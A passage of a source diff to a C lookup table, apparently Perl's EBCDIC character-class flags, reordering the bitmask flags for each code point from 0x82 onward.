(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x82 U+62 'b' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x83 U+63 'c' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x84 U+64 'd' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x85 U+65 'e' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x86 U+66 'f' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x87 U+67 'g' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x88 U+68 'h' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x89 U+69 'i' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0x8A U+AB I8=C7 LEFT-POINTING DOUBLE ANGLE QUOTE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_IS_DOWNGRADEABLE_START), /* 0x8B U+BB I8=C8 RIGHT-POINTING DOUBLE ANGLE QUOTE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0x8C U+F0 I8=C9 eth */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x8D U+FD I8=CA y with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x8E U+FE I8=CB thorn */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x8C U+F0 I8=C9 eth */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0x8D U+FD I8=CA y with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), +/* 0x8E U+FE I8=CB thorn */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0x8F U+B1 I8=CC PLUS-MINUS */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0x90 U+B0 I8=CD DEGREE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0x91 U+6A 'j' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x92 U+6B 'k' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x93 U+6C 'l' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x94 U+6D 'm' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x95 U+6E 'n' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x96 U+6F 'o' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x97 U+70 'p' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x98 U+71 'q' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x99 U+72 'r' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0x9A U+AA I8=CE FEMININE ORDINAL */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x9B U+BA I8=CF MASCULINE ORDINAL */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0x9C U+E6 I8=D0 ae */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x91 U+6A 'j' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x92 U+6B 'k' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x93 U+6C 'l' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x94 U+6D 'm' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x95 U+6E 'n' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x96 U+6F 'o' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x97 U+70 'p' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x98 U+71 'q' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x99 U+72 'r' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0x9A U+AA I8=CE FEMININE ORDINAL */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x9B U+BA I8=CF MASCULINE ORDINAL */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x9C U+E6 I8=D0 ae */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0x9D U+B8 I8=D1 CEDILLA */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START), -/* 0x9E U+C6 I8=D2 AE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0x9E U+C6 I8=D2 AE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0x9F U+A4 I8=D3 CURRENCY */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0xA0 U+B5 I8=D4 MICRO */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), +/* 0xA0 U+B5 I8=D4 MICRO */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START), /* 0xA1 U+7E '~' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0xA2 U+73 's' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA3 U+74 't' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA4 U+75 'u' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA5 U+76 'v' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA6 U+77 'w' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA7 U+78 'x' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA8 U+79 'y' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), -/* 0xA9 U+7A 'z' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* 0xA2 U+73 's' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA3 U+74 't' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA4 U+75 'u' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA5 U+76 'v' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA6 U+77 'w' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA7 U+78 'x' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA8 U+79 'y' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xA9 U+7A 'z' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xAA U+A1 I8=D5 INVERTED '!' */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), /* 0xAB U+BF I8=D6 INVERTED '?' */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START), -/* 0xAC U+D0 I8=D7 ETH */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xAD U+DD I8=D8 Y with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START), -/* 0xAE U+DE I8=D9 